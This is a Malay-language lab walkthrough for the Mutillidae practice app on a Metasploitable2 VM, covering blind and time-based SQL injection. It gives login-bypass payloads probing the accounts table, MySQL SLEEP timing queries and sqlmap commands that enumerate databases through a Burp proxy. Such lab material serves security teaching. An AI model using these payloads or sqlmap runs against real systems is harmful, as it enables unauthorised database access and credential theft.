

multillidae walkthrough Part 3

[1] A1 Injection Part 3

1 Startkan vm metasploitable2 anda.

2 Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video)

```
$ kex
```

3 Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4 **A1-Injection -> Blind SQL via Timing -> Login**

```
' OR exists(SELECT 1 FROM users limit 1)#

' OR exists(SELECT 1 FROM accounts limit 1)#

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' OR exists(SELECT 1 FROM accounts where username = 'ghlmau' limit
1)#

' OR exists(SELECT 1 FROM accounts where username = 'admin' limit
1)#

-----

' OR exists(SELECT 1 FROM accounts where username = 'admin' and
password = 'admin' limit 1)#

' OR exists(SELECT 1 FROM accounts where username = 'admin' and
password = 'adminpass' limit 1)#
```

5 **A1-Injection -> Blind SQL via Timing -> User Info**

ssh ke ip metasploitable2

```
mysql -u root -p
mysql> use owasp10;

mysql> SELECT * FROM accounts WHERE username = 'admin123';
mysql> SELECT * FROM accounts WHERE username = 'admin';

-----

mysql> SELECT * FROM accounts WHERE username = 'admin123' AND
SLEEP(5);

mysql> SELECT * FROM accounts WHERE username = 'admin' AND
SLEEP(5);
```



	<p>Startkan Burp Suite Community. (Rujuk demo video)</p> <pre>sqlmap -u "http://ip_metasploitable2/mutillidae/index.php?page=user- info.php&username=test&password=test&user-info-php-submit- button=View+Account+Details" --proxy=http://127.0.0.1:8080 -- technique=T --fresh-queries --current-db</pre>
6	<p>A1-Injection -> SQLMAP Practice Target -> View Someones Blog</p> <p>Startkan Burp Suite Community. (Rujuk demo video)</p> <pre>sqlmap -r test1 sqlmap -r test1 --dbs</pre>
7	<p>A1-Injection -> SQLMAP Practice Target -> User Info</p> <p>Penyelesaian adalah sama seperti dalam langkah 5</p>

